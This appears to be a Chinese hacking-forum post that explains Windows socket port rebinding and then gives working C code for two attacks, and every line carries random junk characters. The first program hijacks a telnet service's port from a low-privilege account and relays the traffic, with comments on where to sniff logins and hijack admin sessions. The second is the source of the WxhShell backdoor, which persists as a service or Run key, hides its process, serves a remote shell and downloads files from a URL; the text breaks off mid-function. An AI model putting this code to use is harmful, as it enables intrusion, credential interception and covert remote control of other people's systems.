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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L;z-,U$;%R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !P:hf/l[B  
<MfB;M  
  saddr.sin_family = AF_INET; z5{I3 Y!1  
<o]tW4\(R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pH"LZ7)DI0  
qKSM*k~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r!x^P=f,MJ  
@Qx;J<{+g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %b!p{p  
 F_I! +  
  这意味着什么?意味着可以进行如下的攻击: .upcUS8  
fqZ!Bi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `__CL )N|  
?Z14l0iZ%d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ucA6s:!={  
"0/OpT7h7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ' bT9AV%  
y'zEaL&SI@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  atN`w=6A`  
Nq9(O#}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N[42al  
-}N{'S,Bp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HV?awc  
jf$t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ".@SQgyb0  
g`&pQ%|=  
  #include :V_$?S  
  #include goHr# @  
  #include IXg${I}_Q  
  #include    glv(`cQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S`*al<m  
  int main() 'Lm.`U  
  { $9l3 DJ  
  WORD wVersionRequested; F1,pAtA  
  DWORD ret;  NOQgkN  
  WSADATA wsaData; p@Qzg /X  
  BOOL val; aFC3yMKXh  
  SOCKADDR_IN saddr; rgP$\xn-  
  SOCKADDR_IN scaddr; h]zx7zt-  
  int err; ?]7ITF  
  SOCKET s;  6f{c  
  SOCKET sc; eFeeloH?e*  
  int caddsize; V K NCK  
  HANDLE mt; .:lzT"QXI  
  DWORD tid;   D<rjxP  
  wVersionRequested = MAKEWORD( 2, 2 ); ]&9f:5',  
  err = WSAStartup( wVersionRequested, &wsaData ); |]I?^:I  
  if ( err != 0 ) { Ik}*7D  
  printf("error!WSAStartup failed!\n"); O=-|b kO  
  return -1; T}\U:@b  
  } &O%Kj8)  
  saddr.sin_family = AF_INET; ;nC+K z:  
   J%[K;WjrZJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xpS#l"dr  
c/hml4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D&oC1  
  saddr.sin_port = htons(23); @RnGK 5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~q1s4^J  
  { r7IhmdA  
  printf("error!socket failed!\n"); '17=1\Ss6;  
  return -1; ~pF'Qw" z|  
  } R UX  
  val = TRUE; [@\f 0R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >"Hj=?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]Wy V bIu  
  { NuP@eeF>,  
  printf("error!setsockopt failed!\n"); ]-AT(L >  
  return -1; Z6 aT%7}}  
  } tRXM8't   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; > PYe"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wo_FM `@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a;h:o>Do5  
o%|1D'f^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K]7@%cS  
  { >Ek `PVPD  
  ret=GetLastError(); k(7! W  
  printf("error!bind failed!\n"); > *_?^F_  
  return -1; _>aesp%  
  } vw(};)8  
  listen(s,2); '/"(`f,  
  while(1) cdh1~'q/  
  { \J13rL{<  
  caddsize = sizeof(scaddr); Q2NS>[  
  //接受连接请求 Z>D7C?v:(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bh_ALu^CSX  
  if(sc!=INVALID_SOCKET) PuOo^pFhH  
  { #h&?wE>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S9L3/P]  
  if(mt==NULL) cf j6I  
  { T&S< 0  
  printf("Thread Creat Failed!\n"); +V'Z%;/  
  break; WK=!<FsC$  
  } 'kC$R;#\7  
  } b#]in0MT?@  
  CloseHandle(mt); )WFUAzuN,  
  } \u)(+t{  
  closesocket(s); V3m!dp]  
  WSACleanup(); V~+Unn  
  return 0; wWm#[f],?  
  }   _{ba  
  DWORD WINAPI ClientThread(LPVOID lpParam) |_ @iaLE  
  { gr S,PKH  
  SOCKET ss = (SOCKET)lpParam; :4Y|%7[  
  SOCKET sc; SMhT>dB  
  unsigned char buf[4096]; nBD7  
  SOCKADDR_IN saddr; GV2}K <s  
  long num; My[L3KTTp  
  DWORD val; QHQj6]  
  DWORD ret; eR}d"F4W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RM`8P5i]sF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   62zlO{ >rJ  
  saddr.sin_family = AF_INET; kO5KZ;+N-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lS,Hr3Lz  
  saddr.sin_port = htons(23); c '(]n]a%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j[z\p~^  
  { \Js9U|lY  
  printf("error!socket failed!\n"); =X1$K_cN  
  return -1; $DQ -.WI  
  } #uH1!UQb  
  val = 100; HD`%Ma Yhc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i'57|;?  
  { F^w0TD8  
  ret = GetLastError(); j`#|z9`(pB  
  return -1; H ,?MG  
  } : i(h[0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <iMkHch  
  { {<_}[} XY  
  ret = GetLastError(); I{2e0  
  return -1; zJV4)  
  } "2;UXX-H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Im Tq`  
  { ypsCyDQK`  
  printf("error!socket connect failed!\n"); 2T|L# #C  
  closesocket(sc); '1mygplW  
  closesocket(ss); &?9.Y,  
  return -1; EU\1EBT^  
  } *$s)p>  
  while(1) sn *s7v:  
  { :l 7\7IT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0? l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Fq{nc]L6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jK{CjfCNz  
  num = recv(ss,buf,4096,0); PEBQ|k8g&  
  if(num>0) R<wb8iir  
  send(sc,buf,num,0); 57oY]NT?  
  else if(num==0) a$KM q>  
  break; ^*0;Z<_  
  num = recv(sc,buf,4096,0); =B/^c>w2  
  if(num>0) 1'g?B`  
  send(ss,buf,num,0); .N5"IY6>  
  else if(num==0) w S;(u[W  
  break; |{_%YM($  
  } qD9B[s8  
  closesocket(ss); [2 Rp.?  
  closesocket(sc); crmnh4-  
  return 0 ; O ,DX%wk,  
  } mtF&Z\ag  
z1"UF4x*  
PffwNj/l  
========================================================== K'71uW>  
4RzG3CJdS  
下边附上一个代码,,WXhSHELL sC}/?^q  
E+Gea[c  
========================================================== ).&$pXj  
P(Lwpa,S  
#include "stdafx.h" BY 1~\M  
S#""((U$  
#include <stdio.h> bLUn0)c  
#include <string.h> hMDyE.X-  
#include <windows.h> !<~Ig/  
#include <winsock2.h> k4`v(au^  
#include <winsvc.h> > Euput\  
#include <urlmon.h> qNvKlwR9;k  
a'A0CQ  
#pragma comment (lib, "Ws2_32.lib") 6)?TWr'Ke  
#pragma comment (lib, "urlmon.lib") x~(Ul\EX  
8m 9G^s`[  
#define MAX_USER   100 // 最大客户端连接数 FTB"C[>  
#define BUF_SOCK   200 // sock buffer lF#Kg !-l  
#define KEY_BUFF   255 // 输入 buffer ;or> Sh7  
f.u{;W  
#define REBOOT     0   // 重启 ,%:`Ll t]$  
#define SHUTDOWN   1   // 关机 '}}DPoV  
l@GpVdrv  
#define DEF_PORT   5000 // 监听端口 @emZwN"m  
uD5i5,q1Hs  
#define REG_LEN     16   // 注册表键长度 gVuN a)  
#define SVC_LEN     80   // NT服务名长度 =CJs&Qa2  
k20H|@g2  
// 从dll定义API 8G@FX $$Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [6D>2b}:{[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )XNcy"   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qH(2 0Z!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HnpGPGz@F  
!O.B,  
// wxhshell配置信息 Q/+a{m0 f  
struct WSCFG { w"Z >F]YZ  
  int ws_port;         // 监听端口 BujWql  
  char ws_passstr[REG_LEN]; // 口令 . XY'l  
  int ws_autoins;       // 安装标记, 1=yes 0=no $)uQ%/DH>  
  char ws_regname[REG_LEN]; // 注册表键名 jrW7AT)\  
  char ws_svcname[REG_LEN]; // 服务名 x,V_P/?%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `q/y|/v<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 im?nR+t+X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Z~m6;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oW8[2$_N+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D2hvf ^g'*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -~xd-9v?  
R0+m7mx#E  
}; \2LCpN  
1DBzD%@Oz  
// default Wxhshell configuration @e slF  
struct WSCFG wscfg={DEF_PORT, I4)vJ0  
    "xuhuanlingzhe", ]~oM'?&!  
    1, Rp|:$5&nE  
    "Wxhshell", <6`,)(dj  
    "Wxhshell", ?@u &3/&  
            "WxhShell Service", !]`]67lC  
    "Wrsky Windows CmdShell Service", Zdak))7  
    "Please Input Your Password: ", d#W[<,  
  1, !P;qc  
  "http://www.wrsky.com/wxhshell.exe", hVID~L$  
  "Wxhshell.exe" 5-g02g  
    }; !l&lb]V cz  
&fTCY-W[  
// 消息定义模块 G cbal:q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G'bp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ky=&C8b<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i0 R=P[  
char *msg_ws_ext="\n\rExit."; |[V(u  
char *msg_ws_end="\n\rQuit."; =];FojC6I  
char *msg_ws_boot="\n\rReboot..."; 1H ZexV  
char *msg_ws_poff="\n\rShutdown..."; j@:L MR>  
char *msg_ws_down="\n\rSave to "; n1LS*-@  
XYn$yR\dj  
char *msg_ws_err="\n\rErr!"; gf!j|O;  
char *msg_ws_ok="\n\rOK!"; K[9<a>D`  
 {<i!Pm  
char ExeFile[MAX_PATH]; ?@XO*|xkSk  
int nUser = 0; *7Mrng  
HANDLE handles[MAX_USER]; F%Xq}LMd  
int OsIsNt; (O&b:D/Y  
v14[G@V~\  
SERVICE_STATUS       serviceStatus; x_Z~k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :4A^~+J  
qR1ez-#K  
// 函数声明 I 7TMv.  
int Install(void); W}e5 4-lu  
int Uninstall(void); `j2z=5  
int DownloadFile(char *sURL, SOCKET wsh); $L&*0$[]Q  
int Boot(int flag); abK/!m[q  
void HideProc(void); B^OhL!*tI  
int GetOsVer(void); fGxa~Unx  
int Wxhshell(SOCKET wsl); t]m#k%)  
void TalkWithClient(void *cs); \0:l9;^4  
int CmdShell(SOCKET sock); &oR&NKk  
int StartFromService(void); 'J\%JAR@  
int StartWxhshell(LPSTR lpCmdLine); yZ2,AR%  
MdPwuXI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lyT~>.?{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !nd*U}q  
RS93_F8   
// 数据结构和表定义 3sL#_@+yz  
SERVICE_TABLE_ENTRY DispatchTable[] = [~;9Mi.XL  
{ h?SUDk:2^  
{wscfg.ws_svcname, NTServiceMain}, -@QLE}~k[  
{NULL, NULL} ':fVb3A[*d  
};  [g/g(RL  
qzH97<M}T  
// 自我安装 > vahj,CZZ  
int Install(void) r"4:aKF>  
{ AvwX 2?tc  
  char svExeFile[MAX_PATH]; T|=8 jt,  
  HKEY key; }b{N[  
  strcpy(svExeFile,ExeFile); 1\3n   
1,/oS&?E  
// 如果是win9x系统,修改注册表设为自启动 )i?wBxq'MA  
if(!OsIsNt) { Tc qqAc   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?$gEX@5h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Coyop#q#"{  
  RegCloseKey(key); ZA# jw 8F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  R` N-^x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 18`?t_8g  
  RegCloseKey(key); E0*81PS  
  return 0; mjw:Z,  
    } ?>w%Lg{L}  
  } >yaz  
} mO\6B7V!  
else { U"ZDt  
@1kA%LLK  
// 如果是NT以上系统,安装为系统服务 {>~|xW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0h5T&U]${Y  
if (schSCManager!=0) NTn-4iJy  
{ P!-9cd1 C,  
  SC_HANDLE schService = CreateService +`9T?:fu  
  ( p_}OtS;  
  schSCManager, 8 /\rmf\  
  wscfg.ws_svcname, 3cs'Oz<w  
  wscfg.ws_svcdisp, *l5/q\D  
  SERVICE_ALL_ACCESS, *%MY. #  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GB{%4)%6  
  SERVICE_AUTO_START, K}* s^*X  
  SERVICE_ERROR_NORMAL, FkRrW^?5G  
  svExeFile, Z*oGVr g  
  NULL, [WB8X,  
  NULL, \Q & Kd|  
  NULL, Q2+e`  
  NULL, ,H|V\\  
  NULL |i|>-|`!  
  ); P>)qN,a  
  if (schService!=0) ? 1_*ct=g9  
  { khyV uWN  
  CloseServiceHandle(schService); BK-{z).)  
  CloseServiceHandle(schSCManager); 2"13!s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'Yj/M  
  strcat(svExeFile,wscfg.ws_svcname); jirxzj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `M|fwlAJQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C`DTPoXN  
  RegCloseKey(key); `"    
  return 0; 9]|cs  
    } `i<U;?=0'  
  } <Nkj)`%5iK  
  CloseServiceHandle(schSCManager); T[c ;},  
} zEa3a  
} p-;*K(#X  
] @IzJz"R  
return 1; \[Q,>{^  
} RU@`+6 j+  
pvcD 61,  
// 自我卸载 \`x$@s?  
int Uninstall(void) qi$6y?  
{ yQh":"$k  
  HKEY key; VJm).>E3k  
g#:?Ay-m  
if(!OsIsNt) { ':J[KWuV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [X;yJ$  
  RegDeleteValue(key,wscfg.ws_regname); cE[4CCpy  
  RegCloseKey(key); X62GEqff  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }]/"auk  
  RegDeleteValue(key,wscfg.ws_regname); mhVSZhx|  
  RegCloseKey(key); )f,iey\-  
  return 0; }+,;wj~  
  } Fd0R?d  
} O$KLQ'0"n  
} l+RBe<Mq  
else { Ia[e 7  
1_f(;WOg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >12phLu  
if (schSCManager!=0) l&[x)W  
{ Ij4oH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hh,q)(Wo  
  if (schService!=0) ]^E<e!z={$  
  { oS, %L  
  if(DeleteService(schService)!=0) { =M>pL+#  
  CloseServiceHandle(schService); >DPC}@Wl  
  CloseServiceHandle(schSCManager); {}~7Gi!  
  return 0; L`tr7EEr  
  } [>v.#:YM^  
  CloseServiceHandle(schService); %r?Y!=0  
  } 7]62=p2R  
  CloseServiceHandle(schSCManager); #T&''a  
} 0)+F}SyyD  
} gm(`SC?a  
3+0 $=ef  
return 1; R>yoMk/u  
} E&/#Ov  
G D$o |l]\  
// 从指定url下载文件 up#W"`"  
int DownloadFile(char *sURL, SOCKET wsh) zXIVHC,"{  
{ VPet1hAy  
  HRESULT hr; ~4<xTP\*  
char seps[]= "/"; >2tYw,m  
char *token; !T!U@e=u  
char *file; Jt  ^a  
char myURL[MAX_PATH]; ;3'ta!.c  
char myFILE[MAX_PATH]; :H@ Q`g u  
lmf vT}$B  
strcpy(myURL,sURL); Rq|7$O5  
  token=strtok(myURL,seps); 9rf6,hF  
  while(token!=NULL) 'H0uvvhOp  
  { k+t?EZ6L  
    file=token; j KGfm9|zj  
  token=strtok(NULL,seps); [vrM,?X  
  } -XRn%4EX?  
j  Jt"=  
GetCurrentDirectory(MAX_PATH,myFILE); Op0n.\>  
strcat(myFILE, "\\"); p(=}Qqdr8  
strcat(myFILE, file); Cjc>0)f&.  
  send(wsh,myFILE,strlen(myFILE),0); +`}QIp0  
send(wsh,"...",3,0); dG2k4 O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Arc6d5Q  
  if(hr==S_OK) aA7}>  
return 0; yS'W ss  
else K&3,J7&&  
return 1; P%2aOsD0  
8iA[w-Pv  
} }OL?k/w  
f#f<Ii  
// 系统电源模块 UuPXo66F ]  
int Boot(int flag) L 7VDZCV  
{ $KHw=<:)/  
  HANDLE hToken; 7@oM?r7td  
  TOKEN_PRIVILEGES tkp; >"5 f B  
W|'7)ph  
  if(OsIsNt) { Ve)P/Zz}^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GJS3O;2*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D~P3~^  
    tkp.PrivilegeCount = 1; hg4d]R,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tpPP5C{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RUco3fZ   
if(flag==REBOOT) { zZp0g^;.?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Di) %vU  
  return 0; 3b{ 7Z 2  
} Pw+PBIGn4  
else { JbX"K< nQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mu: y9o95  
  return 0; }:+SA  
} QP>tu1B|  
  } IyK^` y  
  else { 6Ft?9 B(F:  
if(flag==REBOOT) { 0gTv:1F /  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Rxb?SBa  
  return 0; [`J91=  
} lDsT?yHS`Z  
else { nQ*9E|Vx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X\4d|VJ?m  
  return 0; fJ<I|ZZ  
} iq1HA.X(  
} .bYZkO:oy  
&X3G;x2;  
return 1; 03p D<  
} <fS WX>pR  
aW=c.Q.  
// win9x进程隐藏模块 @I"&k!e<2  
void HideProc(void) 0{Uc/  
{ R5Pk>-KF  
 m#K)%0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }Wlm#t  
  if ( hKernel != NULL ) L h@0|k  
  { c~``)N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f4 k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e'I/}J  
    FreeLibrary(hKernel); [J!jp& o  
  } ~F"<Nq  
a_Sp}s<J  
return; FP=up#zl  
} ,ArHS  
qPQ6`rD\  
// 获取操作系统版本 U1ZKJ<pv  
int GetOsVer(void) %cO^:  
{ 7F5v-/  
  OSVERSIONINFO winfo; f`<elWgc"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2x5^kN7  
  GetVersionEx(&winfo); (n{x"rLy/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z`}z7e'>  
  return 1; 6.Jvqn  
  else ThvgYv--B  
  return 0; _sqj~|K  
} &L[i"1a  
+$}3=n34)  
// 客户端句柄模块 9epMw-)k  
int Wxhshell(SOCKET wsl) cs lZ;  
{ y#T.w0*  
  SOCKET wsh; r1 axC%  
  struct sockaddr_in client; tgyW:<iv  
  DWORD myID; ='vD4}"j  
Ko|m<;LX  
  while(nUser<MAX_USER) a`e'HQ  
{ x{O) n  
  int nSize=sizeof(client); 'Z*`~,Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `5Bv2 wlIV  
  if(wsh==INVALID_SOCKET) return 1; l"zA~W/  
["fUSQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tVv/G ~(  
if(handles[nUser]==0) <78*-Ob  
  closesocket(wsh); -aq3Lqi  
else ?6W v["%  
  nUser++; t zShds  
  } :5sjF:@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g#k@R'7E  
\ 5.nr*5  
  return 0; )n6,uTlOw  
} u`CHM:<<?  
(#?O3z1@"  
// 关闭 socket a<0q%A x  
void CloseIt(SOCKET wsh) a&Qr7tT Y"  
{ })+iAxR  
closesocket(wsh); 0tz? sN  
nUser--; /a*8z,x  
ExitThread(0); .p =OAh<  
} SBy{sbx4&F  
cQkj{u  
// 客户端请求句柄 )K8 ^}L,  
void TalkWithClient(void *cs) +Wl]1 c/  
{ uO>x"D5tZ:  
:7M%/#Fy  
  SOCKET wsh=(SOCKET)cs; l 88n*O  
  char pwd[SVC_LEN]; p()q)P  
  char cmd[KEY_BUFF]; H_ a##z  
char chr[1]; M"Af_Pbx  
int i,j; **$kW bS  
-9~$Ll+2h  
  while (nUser < MAX_USER) { >V?W_oM)  
.i {yW  
if(wscfg.ws_passstr) { 2TG2<wqvE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &pf"35ll  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Ys)b[:  
  //ZeroMemory(pwd,KEY_BUFF); /d+v4GIB  
      i=0; |}2/:f#Iz*  
  while(i<SVC_LEN) { kbL7Xjk  
deQ {  
  // 设置超时 b# Dd  
  fd_set FdRead; tPa( H;  
  struct timeval TimeOut; ScjeAC)  
  FD_ZERO(&FdRead); ow  
  FD_SET(wsh,&FdRead); Zor!hc0<  
  TimeOut.tv_sec=8; =), O;M  
  TimeOut.tv_usec=0; ,A&`WE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YZ]}l%e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g&S> Wq%L  
LGw-cX #  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H<}|n1w<  
  pwd=chr[0];  ?H!jKX  
  if(chr[0]==0xd || chr[0]==0xa) { Nd]RbX  
  pwd=0; VDro(?p8Z  
  break; y #C9@C  
  } H,W8JNPs  
  i++; zB`J+r;LU  
    } pP#D*hiP-g  
OLtXk  
  // 如果是非法用户,关闭 socket e_-7,5Co  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dWi< U4  
} *o5[P\'6  
QW'*^^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P l!E$   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ju5o).!bg  
^62z\Y  
while(1) { E7i/gY  
l-cBN^^  
  ZeroMemory(cmd,KEY_BUFF); p Hx$  
3-E-\5I  
      // 自动支持客户端 telnet标准   Ie K+  
  j=0; @{U UB=}9  
  while(j<KEY_BUFF) { Tay$::V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~9OZRt[&  
  cmd[j]=chr[0]; ]8R@2L3s  
  if(chr[0]==0xa || chr[0]==0xd) { bHcBjk.\  
  cmd[j]=0; FGPqF;  
  break; g_n_Qlo  
  } Wuo:PX'/9  
  j++; YcV^Fqi!  
    } w >%^pO~}`  
|Xm$O1Wa  
  // 下载文件 S,C c0)j>  
  if(strstr(cmd,"http://")) { JU;`c>8=)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ ;@~=w  
  if(DownloadFile(cmd,wsh)) -T;^T1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q=>5@sZB  
  else PjX V.gz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N34-z|"q  
  } 4DDBf j  
  else { E|>-7k")  
  NV-l9  
    switch(cmd[0]) { CJh,-w{wJ"  
  /}2Y-GOU  
  // 帮助 F+*fim'NK  
  case '?': { t9MCT$U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l.]wBH#RS  
    break; T{^P  
  }  r73W. &  
  // 安装 r7].48D  
  case 'i': { 5!S#}=f=  
    if(Install()) gvc/Z <Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +}1zw<  
    else mI{Fs|9h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M%la@2SK=  
    break; l53Q"ajG  
    } Ywv\9KL  
  // 卸载 +."|Y3a  
  case 'r': { ?9O#b1f N  
    if(Uninstall()) %WKBd \O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); livKiX`  
    else (J.Z+s$:2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pZK 1G  
    break; N P+ vi@Ud  
    } ,?Ie!r$6  
  // 显示 wxhshell 所在路径 l5=ih9u  
  case 'p': { wkPjMmW+!  
    char svExeFile[MAX_PATH]; CbW[_\  
    strcpy(svExeFile,"\n\r"); [&4+ <Nl'  
      strcat(svExeFile,ExeFile); '_V9FWDZ  
        send(wsh,svExeFile,strlen(svExeFile),0); lyFlJmi,r  
    break; ~OsLbz:  
    } V_ , `?>O  
  // 重启 iPV-w_HQ  
  case 'b': { &]LpGl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hc@_@G  
    if(Boot(REBOOT)) - AgD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %.u*nM7sos  
    else { h~]e~u V  
    closesocket(wsh); S[q:b .  
    ExitThread(0); 9d^m 7}2  
    } J=78p#XUg  
    break; )+'=Zvgej=  
    } M ;b3- i  
  // 关机 JFO,Q -y\  
  case 'd': { 1fsNQ!vQP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =n ,1*  
    if(Boot(SHUTDOWN)) !W8=\:D[  
